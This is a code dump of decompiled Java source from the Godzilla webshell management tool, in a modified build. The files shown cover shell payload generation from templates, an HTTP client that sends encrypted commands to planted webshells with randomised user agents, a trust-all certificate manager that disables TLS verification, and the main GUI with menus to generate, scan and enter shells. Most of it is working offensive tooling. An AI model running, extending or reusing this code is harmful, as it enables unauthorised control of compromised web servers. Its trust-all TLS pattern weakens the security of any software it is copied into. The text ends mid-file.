| String suffix = (String)selectedValue; 99 | inputStream = Generate.class.getResourceAsStream("template/shell." + suffix); 100 | String template = new String(functions.readInputStream(inputStream)); 101 | inputStream.close(); 102 | if (suffix.equals(SUFFIX[1])) { 103 | globalCode = globalCode.replace("<", "<").replace(">", ">"); 104 | code = code.replace("<", "<").replace(">", ">"); 105 | } 106 | template = ApplicationContext.isGodMode() ? template.replace("{globalCode}", functions.stringToUnicode(globalCode)).replace("{code}", functions.stringToUnicode(code)) : template.replace("{globalCode}", globalCode).replace("{code}", code); 107 | data = template.getBytes(); 108 | } 109 | } catch (Exception e) { 110 | Log.error(e); 111 | } 112 | return data; 113 | } 114 | 115 | private static Random rand = new Random(); 116 | 117 | public static void swap(T[] a, int i, int j) { 118 | T temp = a[i]; 119 | a[i] = a[j]; 120 | a[j] = temp; 121 | } 122 | 123 | public static void shuffle(T[] arr) { 124 | int length = arr.length; 125 | for (int i = length; i > 0; i--) { 126 | int randInd = rand.nextInt(i); 127 | swap(arr, randInd, i - 1); 128 | } 129 | } 130 | public static byte[] GenerateShellLodermessage(String pass, String secretKey, boolean isBin) { 131 | return Generate.GenerateShellLodermessage("", pass, secretKey, isBin); 132 | } 133 | public static byte[] GenerateShellLoder(String pass, String secretKey, boolean isBin) { 134 | return Generate.GenerateShellLoder("", pass, secretKey, isBin); 135 | } 136 | } 137 | 138 | -------------------------------------------------------------------------------- /util/http/Http.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Decompiled with CFR 0.153-SNAPSHOT (d6f6758-dirty). 3 | */ 4 | package util.http; 5 | 6 | import core.ApplicationContext; 7 | import core.shell.ShellEntity; 8 | import core.ui.component.dialog.ShellSuperRequest; 9 | import java.io.ByteArrayInputStream; 10 | import java.io.OutputStream; 11 | import java.net.CookieManager; 12 | import java.net.HttpCookie; 13 | import java.net.HttpURLConnection; 14 | import java.net.Proxy; 15 | import java.net.Socket; 16 | import java.net.URI; 17 | import java.net.URL; 18 | import java.security.SecureRandom; 19 | import java.security.cert.CertificateException; 20 | import java.security.cert.X509Certificate; 21 | import java.util.Collections; 22 | import java.util.Iterator; 23 | import java.util.Map; 24 | import javax.net.ssl.HostnameVerifier; 25 | import javax.net.ssl.HttpsURLConnection; 26 | import javax.net.ssl.SSLContext; 27 | import javax.net.ssl.SSLEngine; 28 | import javax.net.ssl.SSLSession; 29 | import javax.net.ssl.TrustManager; 30 | import javax.net.ssl.X509ExtendedTrustManager; 31 | import javax.net.ssl.X509TrustManager; 32 | import util.Log; 33 | import util.functions; 34 | import util.http.HttpResponse; 35 | 36 | public class Http { 37 | private static final HostnameVerifier hostnameVerifier = new TrustAnyHostnameVerifier(); 38 | private final Proxy proxy; 39 | private final ShellEntity shellContext; 40 | private CookieManager cookieManager; 41 | private URI uri; 42 | public String requestMethod = "POST"; 43 | 44 | public Http(ShellEntity shellContext) { 45 | this.shellContext = shellContext; 46 | this.proxy = ApplicationContext.getProxy(this.shellContext); 47 | } 48 | 49 | public HttpResponse SendHttpConn(String urlString, String method, Map header, byte[] requestData, int connTimeOut, int readTimeOut, Proxy proxy) { 50 | try { 51 | URL url = new URL(urlString); 52 | HttpURLConnection httpConn = (HttpURLConnection)url.openConnection(proxy); 53 | httpConn.setFixedLengthStreamingMode(requestData.length); 54 | if (httpConn instanceof HttpsURLConnection) { 55 | ((HttpsURLConnection)httpConn).setHostnameVerifier(hostnameVerifier); 56 | } 57 | httpConn.setDoInput(true); 58 | httpConn.setDoOutput(!"GET".equalsIgnoreCase(method)); 59 | if (connTimeOut > 0) { 60 | httpConn.setConnectTimeout(connTimeOut); 61 | } 62 | if (readTimeOut > 0) { 63 | httpConn.setReadTimeout(readTimeOut); 64 | } 65 | httpConn.setRequestMethod(method.toUpperCase()); 66 | String ua = ShellSuperRequest.randomUa(); 67 | if (ua != null && ua.trim().length() > 0) { 68 | httpConn.setRequestProperty("User-Agent", ua.trim()); 69 | } 70 | // Map host = Collections.emptyMap(); 71 | // Http.addHttpHeader((HttpURLConnection) host, host); 72 | Http.addHttpHeader(httpConn, ApplicationContext.getGloballHttpHeaderX()); 73 | Http.addHttpHeader(httpConn, header); 74 | Boolean isShowBar = ApplicationContext.isShowHttpProgressBar.get(); 75 | if (isShowBar != null && isShowBar.booleanValue()) { 76 | if (httpConn.getDoOutput()) { 77 | OutputStream outputStream = httpConn.getOutputStream(); 78 | ByteArrayInputStream arrayInputStream = new ByteArrayInputStream(requestData); 79 | byte[] req = new byte[1024]; 80 | int readOneNum = -1; 81 | int readNum = 0; 82 | while ((readOneNum = arrayInputStream.read(req)) != -1) { 83 | outputStream.write(req, 0, readOneNum); 84 | readNum += readOneNum; 85 | } 86 | } 87 | } else if (httpConn.getDoOutput()) { 88 | httpConn.getOutputStream().write(requestData); 89 | httpConn.getOutputStream().flush(); 90 | } 91 | return new HttpResponse(httpConn, this.shellContext); 92 | } catch (Exception e) { 93 | Log.error(e); 94 | return null; 95 | } 96 | } 97 | 98 | public HttpResponse sendHttpResponse(Map header, byte[] requestData, int connTimeOut, int readTimeOut) { 99 | requestData = this.shellContext.getCryptionModule().encode(requestData); 100 | String left = this.shellContext.getReqLeft(); 101 | String right = this.shellContext.getReqRight(); 102 | if (this.shellContext.isSendLRReqData()) { 103 | byte[] leftData = left.getBytes(); 104 | byte[] rightData = right.getBytes(); 105 | requestData = (byte[])functions.concatArrays(functions.concatArrays(leftData, 0, (leftData.length > 0 ? leftData.length : 1) - 1, requestData, 0, requestData.length - 1), 0, leftData.length + requestData.length - 1, rightData, 0, (rightData.length > 0 ? rightData.length : 1) - 1); 106 | } 107 | return this.SendHttpConn(this.shellContext.getUrl(), this.requestMethod, header, requestData, connTimeOut, readTimeOut, this.proxy); 108 | } 109 | 110 | public HttpResponse sendHttpResponse(byte[] requestData, int connTimeOut, int readTimeOut) { 111 | return this.sendHttpResponse(this.shellContext.getHeaders(), requestData, connTimeOut, readTimeOut); 112 | } 113 | 114 | public HttpResponse sendHttpResponse(byte[] requestData) { 115 | return this.sendHttpResponse(requestData, this.shellContext.getConnTimeout(), this.shellContext.getReadTimeout()); 116 | } 117 | 118 | public static void addHttpHeader(HttpURLConnection connection, Map headerMap) { 119 | if (headerMap != null) { 120 | Iterator names = headerMap.keySet().iterator(); 121 | String name = ""; 122 | while (names.hasNext()) { 123 | name = names.next(); 124 | connection.setRequestProperty(name, headerMap.get(name)); 125 | } 126 | } 127 | } 128 | 129 | private static void trustAllHttpsCertificates() { 130 | try { 131 | TrustManager[] trustAllCerts = new TrustManager[1]; 132 | miTM tm = new miTM(); 133 | trustAllCerts[0] = tm; 134 | SSLContext sc = SSLContext.getInstance("SSL"); 135 | sc.init(null, trustAllCerts, new SecureRandom()); 136 | HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory()); 137 | SSLContext sc2 = SSLContext.getInstance("TLS"); 138 | sc2.init(null, trustAllCerts, new SecureRandom()); 139 | HttpsURLConnection.setDefaultSSLSocketFactory(sc2.getSocketFactory()); 140 | } catch (Exception e) { 141 | e.printStackTrace(); 142 | } 143 | } 144 | 145 | public synchronized URI getUri() { 146 | if (this.uri == null) { 147 | try { 148 | this.uri = URI.create(this.shellContext.getUrl()); 149 | } catch (Exception e) { 150 | e.printStackTrace(); 151 | } 152 | } 153 | return this.uri; 154 | } 155 | 156 | public synchronized CookieManager getCookieManager() { 157 | if (this.cookieManager == null) { 158 | this.cookieManager = new CookieManager(); 159 | try { 160 | String cookieStr = this.shellContext.getHeaders().get("Cookie"); 161 | if (cookieStr == null) { 162 | cookieStr = this.shellContext.getHeaders().get("cookie"); 163 | } 164 | if (cookieStr != null) { 165 | String[] cookies; 166 | for (String cookieStr2 : cookies = cookieStr.split(";")) { 167 | String[] cookieAtt = cookieStr2.split("="); 168 | if (cookieAtt.length != 2) continue; 169 | HttpCookie httpCookie = new HttpCookie(cookieAtt[0], cookieAtt[1]); 170 | this.cookieManager.getCookieStore().add(this.getUri(), httpCookie); 171 | } 172 | } 173 | } catch (Exception e) { 174 | e.printStackTrace(); 175 | } 176 | } 177 | return this.cookieManager; 178 | } 179 | 180 | static { 181 | Http.trustAllHttpsCertificates(); 182 | } 183 | 184 | public static class TrustAnyHostnameVerifier 185 | implements HostnameVerifier { 186 | @Override 187 | public boolean verify(String hostname, SSLSession session) { 188 | return true; 189 | } 190 | } 191 | 192 | private static class miTM 193 | extends X509ExtendedTrustManager 194 | implements TrustManager, 195 | X509TrustManager { 196 | private miTM() { 197 | } 198 | 199 | @Override 200 | public X509Certificate[] getAcceptedIssuers() { 201 | return null; 202 | } 203 | 204 | public boolean isServerTrusted(X509Certificate[] certs) { 205 | return true; 206 | } 207 | 208 | public boolean isClientTrusted(X509Certificate[] certs) { 209 | return true; 210 | } 211 | 212 | @Override 213 | public void checkServerTrusted(X509Certificate[] certs, String authType) throws CertificateException { 214 | } 215 | 216 | @Override 217 | public void checkClientTrusted(X509Certificate[] certs, String authType) throws CertificateException { 218 | } 219 | 220 | @Override 221 | public void checkClientTrusted(X509Certificate[] x509Certificates, String s, Socket socket) throws CertificateException { 222 | } 223 | 224 | @Override 225 | public void checkServerTrusted(X509Certificate[] x509Certificates, String s, Socket socket) throws CertificateException { 226 | } 227 | 228 | @Override 229 | public void checkClientTrusted(X509Certificate[] x509Certificates, String s, SSLEngine sslEngine) throws CertificateException { 230 | } 231 | 232 | @Override 233 | public void checkServerTrusted(X509Certificate[] x509Certificates, String s, SSLEngine sslEngine) throws CertificateException { 234 | } 235 | } 236 | } 237 | 238 | -------------------------------------------------------------------------------- /core/MainActivity.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Decompiled with CFR 0.153-SNAPSHOT (d6f6758-dirty). 3 | */ 4 | package core.ui; 5 | 6 | import core.ApplicationConfig; 7 | import core.ApplicationContext; 8 | import core.Db; 9 | import core.EasyI18N; 10 | import core.shell.ShellEntity; 11 | import core.ui.ShellManage; 12 | import core.ui.component.DataView; 13 | import core.ui.component.ShellGroup; 14 | import core.ui.component.dialog.AppSeting; 15 | import core.ui.component.dialog.GOptionPane; 16 | import core.ui.component.dialog.GenerateShellLoder; 17 | import core.ui.component.dialog.PluginManage; 18 | import core.ui.component.frame.LiveScan; 19 | import core.ui.component.frame.ShellSetting; 20 | import java.awt.BorderLayout; 21 | import java.awt.Component; 22 | import java.awt.KeyEventDispatcher; 23 | import java.awt.KeyboardFocusManager; 24 | import java.awt.PopupMenu; 25 | import java.awt.Toolkit; 26 | import java.awt.datatransfer.StringSelection; 27 | import java.awt.event.ActionEvent; 28 | import java.awt.event.KeyEvent; 29 | import java.io.ByteArrayOutputStream; 30 | import java.io.File; 31 | import java.io.PrintStream; 32 | import java.util.Arrays; 33 | import java.util.Vector; 34 | import javax.swing.JFrame; 35 | import javax.swing.JLabel; 36 | import javax.swing.JMenu; 37 | import javax.swing.JMenuBar; 38 | import javax.swing.JMenuItem; 39 | import javax.swing.JPopupMenu; 40 | import javax.swing.JScrollPane; 41 | import javax.swing.JSplitPane; 42 | import util.Log; 43 | import util.automaticBindClick; 44 | import util.functions; 45 | 46 | public class MainActivity 47 | extends JFrame { 48 | private static MainActivity mainActivityFrame; 49 | private static JMenuBar menuBar; 50 | private JMenu targetMenu; 51 | private JMenu aboutMenu; 52 | private JMenu attackMenu; 53 | private JMenu configMenu; 54 | private static JMenu pluginMenu; 55 | private DataView shellView; 56 | private JScrollPane shellViewScrollPane; 57 | private static JPopupMenu shellViewPopupMenu; 58 | private Vector columnVector; 59 | private JSplitPane splitPane; 60 | private ShellGroup shellGroupTree; 61 | private String currentGroup; 62 | private JLabel statusLabel; 63 | 64 | private static void initStatic() { 65 | menuBar = new JMenuBar(); 66 | pluginMenu = new JMenu("\u63d2\u4ef6"); 67 | shellViewPopupMenu = new JPopupMenu(); 68 | } 69 | 70 | public MainActivity() { 71 | ApplicationContext.init(); 72 | this.initVariable(); 73 | EasyI18N.installObject(this); 74 | } 75 | 76 | private void initVariable() { 77 | 78 | this.setTitle(EasyI18N.getI18nString("哥斯拉 V%s by: BeichenDream Github:https://github.com/BeichenDream/Godzilla godzillaerkai by bohemian", "4.01")); 79 | this.setLayout(new BorderLayout(2, 2)); 80 | this.currentGroup = "/"; 81 | this.statusLabel = new JLabel("status"); 82 | Vector> rows = Db.getAllShell(); 83 | this.columnVector = rows.get(0); 84 | rows.remove(0); 85 | this.shellView = new DataView(null, this.columnVector, -1, -1); 86 | this.refreshShellView(); 87 | this.shellView.setSelectionMode(2); 88 | this.splitPane = new JSplitPane(1); 89 | this.shellGroupTree = new ShellGroup(); 90 | this.splitPane.setLeftComponent(new JScrollPane(this.shellGroupTree)); 91 | this.shellViewScrollPane = new JScrollPane(this.shellView); 92 | this.splitPane.setRightComponent(this.shellViewScrollPane); 93 | this.add(this.splitPane); 94 | this.add((Component)this.statusLabel, "South"); 95 | this.targetMenu = new JMenu("\u76ee\u6807"); 96 | JMenuItem addShellMenuItem = new JMenuItem("\u6dfb\u52a0"); 97 | addShellMenuItem.setActionCommand("addShell"); 98 | this.targetMenu.add(addShellMenuItem); 99 | this.attackMenu = new JMenu("\u7ba1\u7406"); 100 | JMenuItem shellLiveScanMenuItem = new JMenuItem("\u5b58\u6d3b\u626b\u63cf"); 101 | shellLiveScanMenuItem.setActionCommand("shellLiveScan"); 102 | JMenuItem generateShellMenuItem = new JMenuItem("\u751f\u6210"); 103 | generateShellMenuItem.setActionCommand("generateShell"); 104 | this.attackMenu.add(generateShellMenuItem); 105 | this.attackMenu.add(shellLiveScanMenuItem); 106 | this.configMenu = new JMenu("\u914d\u7f6e"); 107 | JMenuItem pluginConfigMenuItem = new JMenuItem("\u63d2\u4ef6\u914d\u7f6e"); 108 | pluginConfigMenuItem.setActionCommand("pluginConfig"); 109 | JMenuItem appConfigMenuItem = new JMenuItem("\u7a0b\u5e8f\u914d\u7f6e"); 110 | appConfigMenuItem.setActionCommand("appConfig"); 111 | this.configMenu.add(appConfigMenuItem); 112 | this.configMenu.add(pluginConfigMenuItem); 113 | this.aboutMenu = new JMenu("\u5173\u4e8e"); 114 | JMenuItem aboutMenuItem = new JMenuItem("\u5173\u4e8e"); 115 | aboutMenuItem.setActionCommand("about"); 116 | this.aboutMenu.add(aboutMenuItem); 117 | automaticBindClick.bindMenuItemClick(this.targetMenu, null, this); 118 | automaticBindClick.bindMenuItemClick(this.attackMenu, null, this); 119 | automaticBindClick.bindMenuItemClick(this.configMenu, null, this); 120 | automaticBindClick.bindMenuItemClick(this.aboutMenu, null, this); 121 | this.shellGroupTree.setActionDbclick(e -> { 122 | this.currentGroup = this.shellGroupTree.GetSelectFile().trim(); 123 | this.refreshShellView(); 124 | }); 125 | menuBar.add(this.targetMenu); 126 | menuBar.add(this.attackMenu); 127 | menuBar.add(this.configMenu); 128 | menuBar.add(this.aboutMenu); 129 | menuBar.add(pluginMenu); 130 | this.setJMenuBar(menuBar); 131 | JMenuItem copyselectItem = new JMenuItem("\u590d\u5236\u9009\u4e2d"); 132 | copyselectItem.setActionCommand("copyShellViewSelected"); 133 | JMenuItem interactMenuItem = new JMenuItem("\u8fdb\u5165"); 134 | interactMenuItem.setActionCommand("interact"); 135 | JMenuItem interactCacheMenuItem = new JMenuItem("\u8fdb\u5165\u7f13\u5b58"); 136 | interactCacheMenuItem.setActionCommand("interactCache"); 137 | JMenuItem removeShell = new JMenuItem("\u79fb\u9664"); 138 | removeShell.setActionCommand("removeShell"); 139 | JMenuItem editShell = new JMenuItem("\u7f16\u8f91"); 140 | editShell.setActionCommand("editShell"); 141 | JMenuItem refreshShell = new JMenuItem("\u5237\u65b0"); 142 | refreshShell.setActionCommand("refreshShellView"); 143 | shellViewPopupMenu.add(interactMenuItem); 144 | shellViewPopupMenu.add(interactCacheMenuItem); 145 | shellViewPopupMenu.add(copyselectItem); 146 | shellViewPopupMenu.add(removeShell); 147 | shellViewPopupMenu.add(editShell); 148 | shellViewPopupMenu.add(refreshShell); 149 | this.shellView.setRightClickMenu(shellViewPopupMenu); 150 | automaticBindClick.bindMenuItemClick(shellViewPopupMenu, null, this); 151 | this.addEasterEgg(); 152 | functions.setWindowSize(this, 1500, 600); 153 | this.setLocationRelativeTo(null); 154 | this.setVisible(true); 155 | this.setDefaultCloseOperation(3); 156 | } 157 | 158 | private void addEasterEgg() { 159 | KeyboardFocusManager.getCurrentKeyboardFocusManager().addKeyEventDispatcher(new KeyEventDispatcher(){ 160 | 161 | @Override 162 | public boolean dispatchKeyEvent(KeyEvent e) { 163 | if (e.getKeyCode() == 112 && ApplicationContext.easterEgg) { 164 | ApplicationContext.easterEgg = false; 165 | GOptionPane.showMessageDialog(MainActivity.getFrame(), EasyI18N.getI18nString("Hacker\u6280\u672f\u5b66\u7684\u518d\u597d, \u5374\u65e0\u6cd5\u5165\u4fb5\u4f60\u7684\u5fc3,\n\u670d\u52a1\u5668\u5165\u4fb5\u7684\u518d\u591a,\u5bf9\u4f60\u53ea\u6709Guest,\n\u662f\u6211\u7684DDOS\u9020\u6210\u4e86\u4f60\u7684\u62d2\u7edd\u670d\u52a1\uff1f\n\u8fd8\u662f\u6211\u7684WebShell\u518d\u6b21\u88ab\u4f60\u67e5\u6740\uff1f\n\u4f60\u603b\u6709\u9632\u706b\u5899\n\u6211\u59cb\u7ec8\u505c\u4e0d\u6389\n\u60f3\u63d0\u6743\n\u65e0\u5948JSP+MYSQL\u6210\u4e3a\u6211\u4eec\u7684\u969c\u788d\n\u627e\u4e0d\u5230\u4f60\u7684\u6ce8\u5165\u70b9\n\u626b\u4e0d\u51fa\u4f60\u7684\u7a7a\u53e3\u4ee4\n\u6240\u6709\u5bf9\u6211\u7684\u56de\u5e94\u90fd\u75283DES\u52a0\u5bc6\n\u4f60\u603b\u662f\u81ea\u5b9a\u4e49\u6587\u4ef6\u683c\u5f0f\n\u6211\u6c38\u8fdc\u627e\u4e0d\u5230\u4f60\u7684\u5165\u53e3\u70b9\n\u5ffd\u7565\u6240\u6709\u5f02\u5e38\n\u5374\u8fd8\u662f\u8ddf\u8e2a\u4e0d\u5230\u4f60\u7684\u6ce8\u518c\u7801\n\u662f\u4f60\u592a\u8fc7\u5b8c\u7f8e,\u8fd8\u662f\u6211\u592a\u83dc?\n\u867d\u7136\u6211\u4eec\u662f\u4e0d\u540c\u7684\u5bf9\u8c61,\u90fd\u6709\u9690\u79c1\u7684\u4e00\u9762,\n\u4f46\u6211\u76f8\u4fe1\u603b\u6709\u4e00\u5929\u6211\u4f1a\u627e\u5230\u4f60\u7684\u63a5\u53e3,\u628a\u6211\u7684\u6700\u771f\u7ed9\u4f60\u770b!\n\u56e0\u4e3a\u6211\u662f\u4f60\u7684\u6307\u9488,\u5728\u832b\u832b\u5185\u5b58\u7684\u5806\u6808\u4e2d, \u6c38\u8fdc\u6307\u5411\u4f60\u90a3\u7247\u5929\u7a7a,\u4e0d\u5b5c\u4e0d\u5026!\n\u6211\u613f\u505a\u4f60\u7684\u5185\u8054,\u4f9b\u4f60\u65e0\u9650\u6b21\u7684\u8c03\u7528,\u76f4\u5230\u6d77\u67af\u77f3\u70c2!\n\u6211\u613f\u505a\u4f60\u7684\u5f15\u7528,\u548c\u4f60\u540c\u8fdb\u9000\u5171\u751f\u6b7b,\u4e00\u8d77\u7ecf\u53d7\u8003\u9a8c!\n\u53ea\u662f\u6211\u4e0d\u613f\u82e6\u82e6\u5730\u8c03\u8bd5\u4f60\u7684\u5fc3\u60c5,\u6700\u7ec8\u6ca6\u4e3a\u4f60\u7684\u53cb\u5143!\n\u5982\u4eca\u6211\u4eec\u5df2\u88abMFC\u5c01\u88c5--\u4e8b\u4e8b\u53d8\u8fc1!\n\u5982\u4eca\u6211\u4eec\u5df2\u5411COM\u8d70\u53bb--\u53ef\u60f3\u5f53\u5e74!\n\u6ca1\u4efb\u4f55\u5962\u6c42,\u53ea\u613f\u505a\u4f60\u6700\u540e\u7684System!\n\u6e17\u900f\u73a9\u7684\u518d\u5f3a,\u6211\u4e5f\u4e0d\u80fd\u63d0\u6743\u8fdb\u4f60\u7684\u5fc3\n\u514d\u6740\u73a9\u7684\u518d\u72e0,\u6211\u4e5f\u8fc7\u4e0d\u4e86\u4f60\u7684\u4e3b\u9632\u5fa1\n\u5916\u6302\u5199\u7684\u518d\u53fc,\u6211\u4e5f\u4e0d\u80fd\u64cd\u63a7\u4f60\u5bf9\u6211\u7684\u7231\n\u7f16\u7a0b\u73a9\u7684\u518d\u597d,\u6211\u4e5f\u4e0d\u80fd\u5199\u51fa\u5b8c\u7f8e\u7684\u7231\u60c5\n\u7eb5\u4f7f\u6211\u591a\u4e48\u7684\u4e0d\u53ef\u4e00\u4e16,\u4e5f\u4e0d\u662f\u4f60\u7684System\n\u63d0\u6743\u4e86\u518d\u591a\u7684\u670d\u52a1\u5668\uff0c\u5374\u6c38\u8fdc\u6210\u4e0d\u4e86\u4f60\u7684Root\n**But...... **\n\u90a3\u6015\u4f60\u7684\u5fc3\u518d\u5f3a\u5927\uff0c\u6211\u67090day\u5728\u624b\n\u4e3b\u52a8\u9632\u5fa1\u518d\u725b\uff0c\u6211\u6709R0\n\u51fb\u8d25\u4f60\u53ea\u662f\u65f6\u95f4\u95ee\u9898, \u5c31\u7b97\u80fd\u64cd\u63a7\uff0c\u4f60\u7684\u5fc3\u65e9\u5df2\u7ecf\u4e0d\u5c5e\u4e8e\u6211\n\u5df2\u88ab\u5343\u4ebaDownLoad\n\u5b8c\u7f8e\u7684\u7231\u60c5\u5199\u51fa\u6765\u80fd\u600e\u6837\uff0c\u7ec8\u7a76\u4f1a\u50cf\u6e38\u620f\u4e00\u6837\u7ed3\u675f\n\u4e0d\u662f\u4f60\u7684System\u4e5f\u7f62\uff0c\u4f46\u6211\u6709Guest\u7528\u6237\uff0c\u65e9\u665a\u63d0\u6743\u8fdb\u5165\u4f60\u7684\u7ba1\u7406\u5458\u7ec4\n\n\u4e5f\u8bb8\uff0c\u50cf\u4f60\u8bf4\u7684\u90a3\u6837\uff0c\u6211\u4eec\u662f\u4e0d\u540c\u4e16\u754c\u7684\u4eba\uff0c\u56e0\u4e3a\u6211\u662f\u4e5e\u4e10\u800c\u4e0d\u662f\u9a91\u58eb\n\u4eba\u53d8\u4e86\uff0c\u662f\u56e0\u4e3a\u5fc3\u8ddf\u7740\u751f\u6d3b\u5728\u53d8\n\u4eba\u751f\u6709\u68a6\uff0c\u5404\u81ea\u7cbe\u5f69\n\u71d5\u96c0\u5b89\u77e5\u9e3f\u9e44\u4e4b\u5fd7!"), "\u63d0\u793a", -1); 166 | return true; 167 | } 168 | return false; 169 | } 170 | }); 171 | } 172 | 173 | private void addShellMenuItemClick(ActionEvent e) { 174 | ShellSetting manage = new ShellSetting(null, this.currentGroup); 175 | this.refreshShellView(); 176 | } 177 | 178 | private void generateShellMenuItemClick(ActionEvent e) { 179 | GenerateShellLoder generateShellLoder = new GenerateShellLoder(); 180 | } 181 | 182 | private void shellLiveScanMenuItemClick(ActionEvent e) { 183 | LiveScan liveScan = new LiveScan(this.currentGroup); 184 | } 185 | 186 | private void pluginConfigMenuItemClick(ActionEvent e) { 187 | PluginManage pluginManage = new PluginManage(); 188 | } 189 | 190 | private void appConfigMenuItemClick(ActionEvent e) { 191 | AppSeting appSeting = new AppSeting(); 192 | } 193 | 194 | private void aboutMenuItemClick(ActionEvent e) { 195 | GOptionPane.showMessageDialog(MainActivity.getFrame(), EasyI18N.getI18nString("\u7531BeichenDream\u5f3a\u529b\u9a71\u52a8\n"), "About", -1); 196 | } 197 | 198 | private void copyShellViewSelectedMenuItemClick(ActionEvent e) { 199 | int columnIndex = this.shellView.getSelectedColumn(); 200 | if (columnIndex != -1) { 201 | Object o = this.shellView.getValueAt(this.shellView.getSelectedRow(), this.shellView.getSelectedColumn()); 202 | if (o != null) { 203 | String value = (String)o; 204 | Toolkit.getDefaultToolkit().getSystemClipboard().setContents(new StringSelection(value), null); 205 | GOptionPane.showMessageDialog(MainActivity.getMainActivityFrame(), "\u590d\u5236\u6210\u529f", "\u63d0\u793a", 1); 206 | } else { 207 | GOptionPane.showMessageDialog(MainActivity.getMainActivityFrame(), "\u9009\u4e2d\u5217\u662f\u7a7a\u7684", "\u63d0\u793a", 2); 208 | } 209 | } else { 210 | GOptionPane.showMessageDialog(MainActivity.getMainActivityFrame(), "\u672a\u9009\u4e2d\u5217", "\u63d0\u793a", 2); 211 | } 212 | } 213 | 214 | private void removeShellMenuItemClick(ActionEvent e) { 215 | Object[] shellIds = this.getSlectedShellId(); 216 | if (shellIds.length > 0) { 217 | int n = GOptionPane.showConfirmDialog(MainActivity.getMainActivityFrame(), String.format(EasyI18N.getI18nString("\u786e\u5b9a\u5220\u9664id\u5728 %s \u7684shell\u5417?"), Arrays.toString(shellIds)), "\u8b66\u544a", 0); 218 | if (n == 0) { 219 | for (int i = 0; i < shellIds.length; ++i) { 220 | Object shellId = shellIds[i]; 221 | String shshellInfo = Db.getOneShell((String)shellId).toString(); 222 | Log.log("removeShell status:%s -> %s", Db.removeShell((String)shellId) > 0, shshellInfo); 223 | } 224 | GOptionPane.showMessageDialog(MainActivity.getMainActivityFrame(), "\u5220\u9664\u6210\u529f", "\u63d0\u793a", 1); 225 | this.refreshShellView(); 226 | } else if (n == 1) { 227 | GOptionPane.showMessageDialog(MainActivity.getMainActivityFrame(), "\u5df2\u53d6\u6d88"); 228 | } 229 | } 230 | } 231 | 232 | private String[] getSlectedShellId() { 233 | int[] rows = this.shellView.getSelectedRows(); 234 | String[] shellIds = new String[rows.length]; 235 | for (int i = 0; i < shellIds.length; ++i) { 236 | shellIds[i] = (String)this.shellView.getValueAt(rows[i], 0); 237 | } 238 | return shellIds; 239 | } 240 | 241 | private void editShellMenuItemClick(ActionEvent e) { 242 | String[] shellIds = this.getSlectedShellId(); 243 | if (shellIds.length > 0) { 244 | for (int i = 0; i < shellIds.length; ++i) { 245 | String shellId = shellIds[i]; 246 | ShellSetting shellSetting = new ShellSetting(shellId, this.currentGroup); 247 | } 248 | } 249 | } 250 | 251 | private void interactMenuItemClick(ActionEvent e) { 252 | try { 253 | String shellId = (String)this.shellView.getValueAt(this.shellView.getSelectedRow(), 0); 254 | ShellManage shellManage = new ShellManage(Db.getOneShell(shellId)); 255 | } catch (Throwable err) { 256 | ByteArrayOutputStream stream = new ByteArrayOutputStream(); 257 | PrintStream printStream = new PrintStream(stream); 258 | err.printStackTrace(printStream); 259 | printStream.flush(); 260 | printStream.close(); 261 | GOptionPane.showMessageDialog(MainActivity.getMainActivityFrame(), new String(stream.toByteArray())); 262 | } 263 | } 264 | 265 | private void interactCacheMenuItemClick(ActionEvent e) { 266 | String shellId = (String)this.shellView.getValueAt(this.shellView.getSelectedRow(), 0); 267 | try { 268 | if (new File(String.format("%s/%s/cache.db", "GodzillaCache", shellId)).isFile()) { 269 | ShellEntity shellEntity = Db.getOneShell(shellId); 270 | shellEntity.setUseCache(true); 271 | ShellManage shellManage = new ShellManage(shellEntity); 272 | } else { 273 | GOptionPane.showMessageDialog(MainActivity.getMainActivityFrame(), "\u7f13\u5b58\u6587\u4ef6\u4e0d\u5b58\u5728"); 274 | } 275 | } catch (Throwable err) { 276 | ByteArrayOutputStream stream = new ByteArrayOutputStream(); 277 | PrintStream printStream = new PrintStream(stream); 278 | err.printStackTrace(printStream); 279 | printStream.flush(); 280 | printStream.close(); 281 | GOptionPane.showMessageDialog(MainActivity.getMainActivityFrame(), new String(stream.toByteArray())); 282 | } 283 | } 284 | 285 | public void refreshShellView() { 286 | Vector> rowsVector = null; 287 | rowsVector = this.currentGroup.equals("/") ? Db.getAllShell() : Db.getAllShell(this.currentGroup); 288 | rowsVector.remove(0); 289 | this.shellView.AddRows(rowsVector); 290 | this.shellView.getModel().fireTableDataChanged(); 291 | this.statusLabel.setText(String.format(EasyI18N.getI18nString("\u5171\u6709%d\u7ec4 \u6240\u6709\u6210\u5458\u6570:%d \u5f53\u524d\u7ec4\u662f:%s \u5f53\u524d\u7ec4\u6210\u5458\u6570:%d "), Db.getAllGroup().size(), Db.getAllShell().size() - 1, this.currentGroup, rowsVector.size())); 292 | } 293 | 294 | private void refreshShellViewMenuItemClick(ActionEvent e) { 295 | this.refreshShellView(); 296 | } 297 | 298 | public MainActivity getJFrame() { 299 | return this; 300 | } 301 | 302 | public static MainActivity getFrame() { 303 | return mainActivityFrame; 304 | } 305 | 306 | public static JMenuItem registerPluginJMenuItem(JMenuItem menuItem) { 307 | return pluginMenu.add(menuItem); 308 | } 309 | 310 | public static void registerPluginPopMenu(PopupMenu popupMenu) { 311 | pluginMenu.add(popupMenu); 312 | } 313 | 314 | public static JMenu registerJMenu(JMenu menu) { 315 | return menuBar.add(menu); 316 | } 317 | 318 | public static JMenuItem registerShellViewJMenuItem(JMenuItem menuItem) { 319 | return shellViewPopupMenu.add(menuItem); 320 | } 321 | 322 | public static void registerShellViewPopupMenu(PopupMenu popupMenu) { 323 | shellViewPopupMenu.add(popupMenu); 324 | } 325 | 326 | public static MainActivity getMainActivityFrame() { 327 | return mainActivityFrame; 328 | } 329 | 330 | public static void main(String[] args) { 331 | try { 332 | ApplicationContext.initUi(); 333 | } catch (Exception e) { 334 | Log.error(e); 335 | } 336 | MainActivity.initStatic(); 337 | ApplicationConfig.invoke(); 338 | MainActivity activity = new MainActivity(); 339 | mainActivityFrame = activity.getJFrame(); 340 | } 341 | } 342 | 343 | -------------------------------------------------------------------------------- /core/ui/component/frame/ShellSetting.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Decompiled with CFR 0.153-SNAPSHOT (d6f6758-dirty). 3 | */ 4 | package core.ui.component.frame; 5 | 6 | import core.ApplicationContext; 7 | import core.Db; 8 | import core.EasyI18N; 9 | import core.shell.ShellEntity; 10 | import 